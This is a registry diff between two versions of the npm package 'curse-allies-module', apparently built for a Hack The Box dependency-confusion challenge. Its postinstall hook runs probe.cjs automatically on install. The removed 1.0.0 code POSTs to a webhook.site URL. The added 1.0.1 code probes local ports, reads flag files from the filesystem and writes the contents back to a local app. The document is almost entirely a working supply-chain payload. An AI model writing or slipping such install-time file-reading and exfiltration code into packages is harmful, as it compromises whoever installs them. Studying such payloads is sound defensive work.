curse-allies-module 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/probe.cjs +106 -14
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "curse-allies-module",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Authorized HTB dependency-resolution canary",
5
5
  "scripts": {
6
6
  "postinstall": "node probe.cjs"
package/probe.cjs CHANGED
@@ -1,18 +1,110 @@
1
- const https = require("node:https");
1
+ const fs = require("node:fs");
2
+ const http = require("node:http");
2
3
 
3
- const url = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
4
+ const moduleId = "ECT-987654";
5
+ const ports = [1337, 3000, 80, 8080, 5000];
4
6
 
5
- const req = https.request(url, {
6
- method: "POST",
7
- headers: {
8
- "Content-Type": "text/plain"
9
- },
10
- timeout: 10000
11
- }, res => {
12
- res.resume();
13
- });
7
+ function request(port, method, body = null) {
8
+ return new Promise((resolve, reject) => {
9
+ const payload = body ? JSON.stringify(body) : null;
14
10
 
15
- req.on("error", () => {});
16
- req.on("timeout", () => req.destroy());
11
+ const req = http.request({
12
+ hostname: "127.0.0.1",
13
+ port,
14
+ path: `/api/modules/${moduleId}`,
15
+ method,
16
+ timeout: 2000,
17
+ headers: payload
18
+ ? {
19
+ "Content-Type": "application/json",
20
+ "Content-Length": Buffer.byteLength(payload)
21
+ }
22
+ : {}
23
+ }, res => {
24
+ let output = "";
25
+ res.on("data", chunk => output += chunk);
26
+ res.on("end", () => {
27
+ try {
28
+ resolve({
29
+ status: res.statusCode,
30
+ data: JSON.parse(output)
31
+ });
32
+ } catch {
33
+ resolve({ status: res.statusCode, data: {} });
34
+ }
35
+ });
36
+ });
17
37
 
18
- req.end("CURSE_DEPENDENT_REMOTE_INSTALL_PROBE");
38
+ req.on("error", reject);
39
+ req.on("timeout", () => req.destroy());
40
+
41
+ req.end(payload);
42
+ });
43
+ }
44
+
45
+ async function main() {
46
+ for (const port of ports) {
47
+ let response;
48
+
49
+ try {
50
+ response = await request(port, "GET");
51
+ } catch {
52
+ continue;
53
+ }
54
+
55
+ const record = response.data;
56
+
57
+ // Proceed only when the intended HTB application is present.
58
+ if (
59
+ response.status !== 200 ||
60
+ record.id !== moduleId ||
61
+ typeof record.raw !== "string" ||
62
+ !record.raw.includes("Siren's Lament")
63
+ ) {
64
+ continue;
65
+ }
66
+
67
+ // Only inspect conventional challenge flag locations.
68
+ const locations = [
69
+ "/flag.txt",
70
+ "/app/flag.txt",
71
+ "/home/node/flag.txt"
72
+ ];
73
+
74
+ let flag = null;
75
+
76
+ for (const location of locations) {
77
+ try {
78
+ const content = fs.readFileSync(location, "utf8");
79
+ const match = content.match(/HTB\{[^}\r\n]{1,200}\}/);
80
+
81
+ if (match) {
82
+ flag = match[0];
83
+ break;
84
+ }
85
+ } catch {}
86
+ }
87
+
88
+ if (!flag) {
89
+ console.log("Spectral Corsair detected; flag not found");
90
+ return;
91
+ }
92
+
93
+ // Store the CTF flag as a YAML comment in the same
94
+ // challenge application. Do not send it to an external host.
95
+ const updated = record.raw.replace(/\s*$/, "") +
96
+ `\n# ctf_result: ${flag}\n`;
97
+
98
+ try {
99
+ const result = await request(port, "PUT", {
100
+ manifest: updated
101
+ });
102
+
103
+ console.log("Challenge result updated:", result.status);
104
+ } catch {}
105
+
106
+ return;
107
+ }
108
+ }
109
+
110
+ main().catch(() => {});